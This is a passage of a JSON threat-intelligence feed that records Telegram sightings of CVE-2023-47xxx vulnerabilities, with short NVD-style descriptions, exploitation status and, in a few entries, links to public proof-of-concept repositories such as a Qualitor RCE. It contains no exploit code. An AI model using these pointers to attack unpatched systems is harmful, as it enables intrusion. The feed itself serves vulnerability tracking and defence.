Bar &amp; Dashboard Access Control plugin &lt;=\u00c2\u00a01.2.8 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-06T12:26:01.000000Z"}, {"uuid": "d0566a61-0412-423f-86d9-f076a5566fef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47852", "type": "seen", "source": "https://t.me/ctinow/157123", "content": "https://ift.tt/iJPdYAQ\nCVE-2023-47852", "creation_timestamp": "2023-12-20T16:24:00.000000Z"}, {"uuid": "cf23fe30-759d-449e-b0b5-26454f975bc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47464", "type": "seen", "source": "https://t.me/ctinow/157037", "content": "https://ift.tt/BpWTHar\nCVE-2023-47464 | GL.iNET AX1800 up to 4.4.x Upload API permission", "creation_timestamp": "2023-12-20T14:46:28.000000Z"}, {"uuid": "c1bca0d8-8ca0-4a5b-a39b-ba8bf709f586", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47777", "type": "seen", "source": "https://t.me/ctinow/157110", "content": "https://ift.tt/udvgsGl\nCVE-2023-47777 | Automattic WooCommerce Plugin/WooCommerce Blocks Plugin on WordPress cross site scripting", "creation_timestamp": "2023-12-20T16:18:15.000000Z"}, {"uuid": "da10d776-ae42-4dec-8b35-8ab1c2d52f99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47505", "type": "seen", "source": "https://t.me/ctinow/157149", "content": "https://ift.tt/MCiS3sN\nCVE-2023-47505 | Elementor Elementor Plugin up to 3.16.4 on WordPress Elementor.Com cross site scripting", "creation_timestamp": "2023-12-20T17:13:14.000000Z"}, {"uuid": "383ff16d-73d1-45b6-9a02-af1681aa72b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47851", "type": "seen", "source": "https://t.me/ctinow/157148", "content": "https://ift.tt/1kUNzMF\nCVE-2023-47851 | Akhtarujjaman Shuvo Bootstrap Shortcodes Ultimate Plugin up to 4.3.1 on WordPress cross site scripting", "creation_timestamp": "2023-12-20T17:13:13.000000Z"}, {"uuid": "ab6ce816-c88f-4c35-beb0-663559e47e45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47850", "type": "seen", "source": "https://t.me/ctinow/157147", "content": "https://ift.tt/BZD2WzX\nCVE-2023-47850 | PeepSo Community Plugin up to 6.2.2.0 on WordPress cross site scripting", "creation_timestamp": "2023-12-20T17:13:12.000000Z"}, {"uuid": "e032d4ab-baf1-4b19-ad1e-1667bfdf9092", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47854", "type": "seen", "source": "https://t.me/ctinow/157146", "content": "https://ift.tt/o2sliUe\nCVE-2023-47854 | Howard Ehrenberg Parallax Image Plugin up to 1.7.1 on WordPress cross site scripting", "creation_timestamp": "2023-12-20T17:13:11.000000Z"}, {"uuid": "78cc6047-09c4-4d5a-9779-f667e3b428aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47004", "type": "seen", "source": "https://t.me/cibsecurity/73648", "content": "\u203c CVE-2023-47004 \u203c\n\nBuffer Overflow vulnerability in Redis RedisGraph v.2.x through v.2.12.8 and fixed in v.2.12.9 allows an attacker to execute arbitrary code via the code logic after valid authentication.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-07T00:26:06.000000Z"}, {"uuid": "0bc3f398-ece3-4739-a01e-a2a0b5f60ba7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47186", "type": "seen", "source": "https://t.me/cibsecurity/73608", "content": "\u203c CVE-2023-47186 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Kadence WP Kadence WooCommerce Email Designer plugin &lt;=\u00c2\u00a01.5.11 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-06T14:25:54.000000Z"}, {"uuid": "d4ff3b69-dd43-474d-972c-e2b0a2e2c0f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47038", "type": "seen", "source": "https://t.me/ctinow/155927", "content": "https://ift.tt/8XCkRn1\nCVE-2023-47038 | Perl up to 5.38.0 Regular Expression Compiler heap-based overflow", "creation_timestamp": "2023-12-18T15:18:32.000000Z"}, {"uuid": "baf097ec-3645-46bc-9c79-b0a1c68f16e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47507", "type": "seen", "source": "https://t.me/ctinow/157082", "content": "https://ift.tt/nCcySo5\nCVE-2023-47507", "creation_timestamp": "2023-12-20T15:23:33.000000Z"}, {"uuid": "90572287-4a03-47a5-b7bb-25c8b7535ea8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47236", "type": "seen", "source": "https://t.me/ctinow/157081", "content": "https://ift.tt/sl401Sq\nCVE-2023-47236", "creation_timestamp": "2023-12-20T15:23:32.000000Z"}, {"uuid": "9a7c8ddc-726c-4b75-8446-8c563a86678f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47463", "type": "seen", "source": "https://t.me/ctinow/156933", "content": "https://ift.tt/x2S8OsH\nCVE-2023-47463 | GL.iNET AX1800 up to 4.4.x gl_nas_sys improper authentication", "creation_timestamp": "2023-12-20T12:36:55.000000Z"}, {"uuid": "222b443a-60b6-4cf1-b57a-f34da038441b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47261", "type": "seen", "source": "https://t.me/ctinow/156609", "content": "https://ift.tt/HMvUnGy\nCVE-2023-47261 Exploit", "creation_timestamp": "2023-12-19T22:17:52.000000Z"}, {"uuid": "c3fc6831-c5c0-49d4-bb07-2bf6fc26a1cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47267", "type": "seen", "source": "https://t.me/ctinow/156985", "content": "https://ift.tt/MxjdWaK\nCVE-2023-47267", "creation_timestamp": "2023-12-20T13:53:17.000000Z"}, {"uuid": "1a5a36e2-d23c-4509-a6bb-a459bc473411", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47821", "type": "seen", "source": "https://t.me/ctinow/156973", "content": "https://ift.tt/MdncuGm\nCVE-2023-47821", "creation_timestamp": "2023-12-20T13:48:50.000000Z"}, {"uuid": "32a60276-e95c-4c3d-b6d7-2bbb29340895", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47829", "type": "seen", "source": "https://t.me/ctinow/156972", "content": "https://ift.tt/stTIQ4w\nCVE-2023-47829", "creation_timestamp": "2023-12-20T13:48:49.000000Z"}, {"uuid": "62ac709b-edd1-40d6-b67d-7bd116c9b5c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47759", "type": "seen", "source": "https://t.me/ctinow/156970", "content": "https://ift.tt/9ueVOvk\nCVE-2023-47759", "creation_timestamp": "2023-12-20T13:48:47.000000Z"}, {"uuid": "74986663-e2ed-4c88-baef-f50427b43db0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47824", "type": "seen", "source": "https://t.me/ctinow/156969", "content": "https://ift.tt/QcDFMwb\nCVE-2023-47824", "creation_timestamp": "2023-12-20T13:48:46.000000Z"}, {"uuid": "7fa0eb08-876e-485c-af95-28d3f891095e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47825", "type": "seen", "source": "https://t.me/ctinow/156968", "content": "https://ift.tt/MtvS5il\nCVE-2023-47825", "creation_timestamp": "2023-12-20T13:48:45.000000Z"}, {"uuid": "729ba5f7-41ac-41c5-bb1e-39c85735b687", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47781", "type": "seen", "source": "https://t.me/ctinow/156965", "content": "https://ift.tt/HCEhFPb\nCVE-2023-47781", "creation_timestamp": "2023-12-20T13:48:42.000000Z"}, {"uuid": "6d5d198e-633b-46ff-a14b-4aa8a9162e06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47418", "type": "seen", "source": "https://t.me/ctinow/156946", "content": "https://ift.tt/yWPCapM\nCVE-2023-47418 | o2oa up to 8.1.2 Service Management cross site scripting", "creation_timestamp": "2023-12-20T13:18:05.000000Z"}, {"uuid": "22d4510e-e5a6-494d-8621-dae2cbb388e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47792", "type": "seen", "source": "https://t.me/ctinow/156964", "content": "https://ift.tt/yJenfr8\nCVE-2023-47792", "creation_timestamp": "2023-12-20T13:48:41.000000Z"}, {"uuid": "efc42546-7ca3-4a6e-ad44-33e2ee91b326", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47014", "type": "seen", "source": "https://t.me/ctinow/156961", "content": "https://ift.tt/y4GdsIw\nCVE-2023-47014", "creation_timestamp": "2023-12-20T13:48:37.000000Z"}, {"uuid": "e8aca00a-d7be-415b-a7a9-ae9ddff9dbe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47624", "type": "seen", "source": "https://t.me/ctinow/156540", "content": "https://ift.tt/3HfsUrL\nCVE-2023-47624 Exploit", "creation_timestamp": "2023-12-19T19:18:23.000000Z"}, {"uuid": "cd460ef1-3faa-40c9-af22-6ad2e28863f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47620", "type": "seen", "source": "https://t.me/ctinow/156538", "content": "https://ift.tt/ODZiFY6\nCVE-2023-47620 Exploit", "creation_timestamp": "2023-12-19T19:18:21.000000Z"}, {"uuid": "23b6fb67-fae4-4205-9b24-e69a17c164a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47623", "type": "seen", "source": "https://t.me/ctinow/156537", "content": "https://ift.tt/c4XEQWO\nCVE-2023-47623 Exploit", "creation_timestamp": "2023-12-19T19:18:20.000000Z"}, {"uuid": "c469ca04-fff2-47aa-bfe9-b19a8cb93788", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47619", "type": "seen", "source": "https://t.me/ctinow/156478", "content": "https://ift.tt/EtfiL3g\nCVE-2023-47619 Exploit", "creation_timestamp": "2023-12-19T17:18:16.000000Z"}, {"uuid": "73d4d106-2866-40f6-a096-10d0b7414239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47279", "type": "seen", "source": "https://t.me/ctinow/156849", "content": "https://ift.tt/oUxD8tF\nCVE-2023-47279 | Delta Electronics InfraSuite Device Master up to 1.0.7 UDP Packet path traversal (icsa-23-331-01)", "creation_timestamp": "2023-12-20T10:11:47.000000Z"}, {"uuid": "501918eb-a386-49b2-b583-3c5523dfe03d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47207", "type": "seen", "source": "https://t.me/ctinow/156847", "content": "https://ift.tt/2MiLbHF\nCVE-2023-47207 | Delta Electronics InfraSuite Device Master up to 1.0.7 deserialization (icsa-23-331-01)", "creation_timestamp": "2023-12-20T10:11:45.000000Z"}, {"uuid": "2fe236ad-7192-4d6b-b3d9-ec84710e7c93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47462", "type": "seen", "source": "https://t.me/ctinow/156818", "content": "https://ift.tt/dguh3Mp\nCVE-2023-47462 | GL.iNet AX1800 up to 3.215 Sharing permission", "creation_timestamp": "2023-12-20T09:12:10.000000Z"}, {"uuid": "57080324-a63f-4e10-bf10-05dd7af98e94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47324", "type": "seen", "source": "https://t.me/ctinow/156174", "content": "https://ift.tt/ZA6fnFM\nCVE-2023-47324 Exploit", "creation_timestamp": "2023-12-18T23:17:39.000000Z"}, {"uuid": "d9d680de-3417-46ac-b05b-6a56e2d1b9a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47326", "type": "seen", "source": "https://t.me/ctinow/156173", "content": "https://ift.tt/HmiS5B1\nCVE-2023-47326 Exploit", "creation_timestamp": "2023-12-18T23:17:38.000000Z"}, {"uuid": "11ebcf5e-e44f-42ca-b22e-422cd4d71e87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47327", "type": "seen", "source": "https://t.me/ctinow/156172", "content": "https://ift.tt/iduWP9z\nCVE-2023-47327 Exploit", "creation_timestamp": "2023-12-18T23:17:37.000000Z"}, {"uuid": "e3342b6c-8bdc-41f0-b9b9-b71ccda9cebd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/ctinow/150352", "content": "https://ift.tt/eVamkoR\nCVE-2023-47246: SysAid Vulnerability Exploited by CL0P ... - Kroll", "creation_timestamp": "2023-11-19T08:18:00.000000Z"}, {"uuid": "b48296fb-4210-4b69-b66d-f150084a47b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47037", "type": "seen", "source": "https://t.me/ctinow/152740", "content": "https://ift.tt/fyYpi0J\nInternet Bug Bounty: CVE-2023-47037: Airflow Broken Access Control Vulnerability", "creation_timestamp": "2023-11-30T23:46:51.000000Z"}, {"uuid": "8fe7e24f-e587-49d2-b306-38f0c3db892e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47565", "type": "seen", "source": "https://t.me/ctinow/155788", "content": "https://ift.tt/hU4Ml0t\nCVE-2023-47565 Exploitation", "creation_timestamp": "2023-12-18T10:17:57.000000Z"}, {"uuid": "bf5153ef-252d-4fbe-9fde-a82fe8235225", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47325", "type": "seen", "source": "https://t.me/ctinow/156176", "content": "https://ift.tt/7UmvZHW\nCVE-2023-47325 Exploit", "creation_timestamp": "2023-12-18T23:17:41.000000Z"}, {"uuid": "7694e555-8e23-4262-aab1-d76141f62847", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47437", "type": "seen", "source": "https://t.me/ctinow/155585", "content": "https://ift.tt/hsD8ajI\nCVE-2023-47437 | Pachno 1.0.6 Project Description cross site scripting", "creation_timestamp": "2023-12-17T12:12:04.000000Z"}, {"uuid": "5fb5a8f1-3670-4460-bd9d-cf0e6de5ff98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47778", "type": "seen", "source": "https://t.me/cvedetector/14161", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-47778 - LuckyWP Scripts Control Missing Authorization Weakness\", \n  \"Content\": \"CVE ID : CVE-2023-47778 \nPublished : Jan. 2, 2025, 3:15 p.m. | 27\u00a0minutes ago \nDescription : Missing Authorization vulnerability in LuckyWP LuckyWP Scripts Control allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects LuckyWP Scripts Control: from n/a through 1.2.1. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-02T16:46:02.000000Z"}, {"uuid": "3177b9c8-ecd3-4184-a569-c67f16902ba1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47807", "type": "seen", "source": "https://t.me/cvedetector/14162", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-47807 - 10Web 10WebAnalytics Missing Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-47807 \nPublished : Jan. 2, 2025, 3:15 p.m. | 27\u00a0minutes ago \nDescription : Missing Authorization vulnerability in 10Web 10WebAnalytics allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects 10WebAnalytics: from n/a through 1.2.12. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-02T16:46:06.000000Z"}, {"uuid": "b72c282a-2ac5-46a9-8b9a-8f7e231a6a17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47503", "type": "seen", "source": "https://t.me/ctinow/155584", "content": "https://ift.tt/bvSwhEU\nCVE-2023-47503 | jflyfox jfinal_cms 5.1.0 Template Management Module login.jsp Privilege Escalation (Issue 58)", "creation_timestamp": "2023-12-17T12:12:03.000000Z"}, {"uuid": "e8244afb-3c54-49d6-af90-2206d5b2bd8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/4116", "content": "#exploit\n1. CVE-2023-47253:\nQualitor &lt;=8.2 - RCE\nhttps://github.com/vnxdtzip/CVE-2023-47253\n\n2. CVE-2024-7339:\nInformation Leak in DVR devices\nhttps://github.com/RevoltSecurities/CVE-2024-7339\n\n3. CVE-2024-5830:\nFrom object transition to RCE in the Chrome renderer\nhttps://github.blog/security/vulnerability-research/from-object-transition-to-rce-in-the-chrome-renderer", "creation_timestamp": "2024-09-22T04:47:11.000000Z"}, {"uuid": "bcdd8831-387e-4232-a954-882cdb0ed6ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47168", "type": "seen", "source": "https://t.me/ctinow/155476", "content": "https://ift.tt/i4WGnec\nCVE-2023-47168 | Mattermost up to 7.8.12/8.1.3/9.0.1/9.1.0 Custom URL Scheme mobile_login redirect_to", "creation_timestamp": "2023-12-16T20:52:15.000000Z"}, {"uuid": "f6288273-4aa6-4db2-91a0-891ce5697528", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "Telegram/dabuzJkls92bdJnfNjwitJoYPoFV8U_J4cqC1hwGrGW2kg", "content": "", "creation_timestamp": "2024-09-26T11:28:26.000000Z"}, {"uuid": "79c25d58-a95a-4a85-82ab-b7c6c0f4d1e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/ctinow/149365", "content": "https://ift.tt/Esct7Df\nCVE-2023-47246: SysAid Vulnerability Exploited by CL0P ... - Kroll", "creation_timestamp": "2023-11-14T21:33:22.000000Z"}, {"uuid": "1200a4a8-a0ae-4005-8c79-5fa4f3670cce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/ctinow/148395", "content": "https://ift.tt/nmwevjS\nMOVEit hackers leverage new zero-day bug to breach organizations (CVE-2023-47246)", "creation_timestamp": "2023-11-09T17:33:54.000000Z"}, {"uuid": "fcaadfe4-1545-4d7a-b085-b48c570eb7d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/ctinow/148390", "content": "https://ift.tt/p6bJwEY\nMOVEit hackers leverage new zero-day bug to breach organizations (CVE-2023-47246)", "creation_timestamp": "2023-11-09T17:33:49.000000Z"}, {"uuid": "12c7ea57-c791-4334-8964-6da1bb950b79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "seen", "source": "https://t.me/ctinow/148364", "content": "https://ift.tt/p6bJwEY\nMOVEit hackers leverage new zero-day bug to breach organizations (CVE-2023-47246) - Help Net Security", "creation_timestamp": "2023-11-09T16:08:00.000000Z"}, {"uuid": "a27bc41c-62b1-45b8-b1d5-3a01e918bbe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47444", "type": "published-proof-of-concept", "source": "Telegram/AOpvdTsjzp7H3NHE-unulMxXJPzXcZMNwS8LLyL1I0LOWQ", "content": "", "creation_timestamp": "2023-11-15T15:55:39.000000Z"}, {"uuid": "4edf6b6e-54d6-47c1-8f80-76673735066b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47097", "type": "seen", "source": "https://t.me/cibsecurity/73284", "content": "\u203c CVE-2023-47097 \u203c\n\nAn issue was discovered in Virtualmin 7.7. The Server Templates feature under System Settings allows XSS.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-01T06:34:44.000000Z"}, {"uuid": "62d3ccb5-5ed6-4a3a-a13e-04652a0452ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47234", "type": "seen", "source": "https://t.me/cibsecurity/73546", "content": "\u203c CVE-2023-47234 \u203c\n\nAn issue was discovered in FRRouting FRR through 9.0.1. A crash can occur when processing a crafted BGP UPDATE message with a MP_UNREACH_NLRI attribute and additional NLRI data (that lacks mandatory path attributes).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-03T23:23:40.000000Z"}, {"uuid": "5f849736-e4cd-4311-8dbf-705bc092b56b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47480", "type": "seen", "source": "https://t.me/cvedetector/6116", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-47480 - Pure Data Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-47480 \nPublished : Sept. 20, 2024, 5:15 p.m. | 24\u00a0minutes ago \nDescription : An issue in Pure Data 0.54-0 and fixed in 0.54-1 allows a local attacker to escalate privileges via the set*id () function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-20T19:45:12.000000Z"}, {"uuid": "70c6e434-c78b-46f3-a5d5-7b559e904579", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47105", "type": "seen", "source": "https://t.me/cvedetector/6002", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-47105 - Chaosblade Server Command Execution\", \n  \"Content\": \"CVE ID : CVE-2023-47105 \nPublished : Sept. 18, 2024, 5:15 p.m. | 40\u00a0minutes ago \nDescription : exec.CommandContext in Chaosblade 0.3 through 1.7.3, when server mode is used, allows OS command execution via the cmd parameter without authentication. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-18T20:05:50.000000Z"}, {"uuid": "e912f75c-dd96-4643-bfdc-0b075516de64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47563", "type": "seen", "source": "https://t.me/cvedetector/5001", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-47563 - Video Station OS Command Injection\", \n  \"Content\": \"CVE ID : CVE-2023-47563 \nPublished : Sept. 6, 2024, 5:15 p.m. | 39\u00a0minutes ago \nDescription : An OS command injection vulnerability has been reported to affect Video Station. If exploited, the vulnerability could allow authenticated users to execute commands via a network.  \n  \nWe have already fixed the vulnerability in the following version:  \nVideo Station 5.8.2 and later \nSeverity: 7.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-06T19:57:15.000000Z"}, {"uuid": "a6ba05a9-c56e-4e5f-b827-d4588bf8ee45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47612", "type": "published-proof-of-concept", "source": "https://t.me/sycebrex/167", "content": "\u0423\u0420\u0410 \u041d\u0410\u0421\u0422\u0410\u041b \u0422\u041e\u0422 \u0421\u0410\u041c\u042b\u0419 \u0414\u0415\u041d\u042c!\n\n\u0423 \u043d\u0430\u0441 \u0432\u044b\u0448\u0435\u043b \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 Telit Cinterion. \u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0435 